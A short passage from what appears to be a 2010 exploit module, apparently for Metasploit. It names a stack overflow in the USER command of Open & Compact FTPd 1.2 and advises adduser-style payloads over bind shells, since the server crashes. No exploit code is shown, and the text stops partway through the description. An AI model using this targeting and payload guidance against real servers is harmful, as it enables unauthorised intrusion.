  # Date: March 14, 2010

  Exploit causes the ftp server to crash so adduser, etc. payloads are most effective.

  'Description'=> %q{
  This module exploits a stack overflow in the USER verb in Open & Compact FTPd version 1.2. The program will crash once the payload is sent, so bind shell payloads are not effective.
